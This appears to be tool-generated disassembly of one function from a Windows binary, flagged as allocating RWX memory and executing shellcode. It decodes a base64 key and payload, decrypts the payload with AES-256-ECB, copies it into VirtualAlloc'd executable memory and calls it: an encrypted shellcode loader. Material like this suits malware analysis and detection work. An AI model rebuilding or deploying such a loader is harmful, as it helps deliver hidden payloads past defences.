Function at 0x140001340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r12, 0xffffffffffffffff
mov rbp, rdx
mov rdi, r12
mov rsi, rcx
nop
inc rdi
cmp byte [rcx + rdi], 0
jne 0x140001370
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_f_base64]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rcx, rax
mov edx, pe_nt_image_headers64
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_set_flags]
mov edx, edi
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_push]
mov r8d, edi
mov rdx, r15
mov rcx, rax
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_read]
mov rcx, rbx
movsxd rsi, eax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free_all]
test r15, r15
jne 0x140001406
lea ecx, [r15 + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [0x140003410]
lea rdx, str._s_Failed_to_dekript_ddddata_n
call fcn.140001010
mov al, 1
jmp 0x140001682
mov qword [rsp + 0x80], r14
mov rdi, r12
inc rdi
cmp byte [rdi + rbp], 0
jne 0x140001411
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_f_base64]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rcx, rax
mov edx, pe_nt_image_headers64
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_set_flags]
mov edx, edi
mov rcx, rbp
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_push]
mov r8d, edi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_read]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free_all]
test r14, r14
jne 0x140001497
lea rdx, [0x140003410]
lea rcx, str._s_Failed_to_dekript_kkkkey_n
call fcn.140001060
mov al, 1
jmp 0x14000167a
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x1400014bc
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_ERR_print_errors_fp]
jmp 0x14000157c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_ecb]
mov r9, r14
mov qword [rsp + 0x20], 0
mov rdx, rax
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400014f8
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_ERR_print_errors_fp]
jmp 0x140001573
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_ecb]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_block_size]
mov ecx, esi
add ecx, eax
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
mov rcx, rbx
test rax, rax
je 0x140001576
mov r9, r15
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x30]
mov rdx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
jne 0x140001556
movsxd rsi, dword [rsp + 0x30]
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rdi + rsi]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000159d
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_ERR_print_errors_fp]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_decrypt_shellcode_n
call fcn.140001010
mov al, 1
jmp 0x14000167a
add esi, dword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r8d, esi
lea rdx, [0x140003408]
lea rcx, str._s_length:__i_n
call fcn.140001060
movsxd rsi, esi
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001603
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [0x140003410]
lea rdx, str._s_Failed_to_akolate_n
call fcn.140001010
jmp 0x140001668
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x14000340c]
lea rcx, str._s_AEYESH..._n
call fcn.140001060
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
jne 0x140001655
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_frie_mem_n
call fcn.140001010
jmp 0x140001668
lea rdx, [0x140003408]
lea rcx, str._s_Mem_fried_successfully._n
call fcn.140001060
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r14, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001890
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret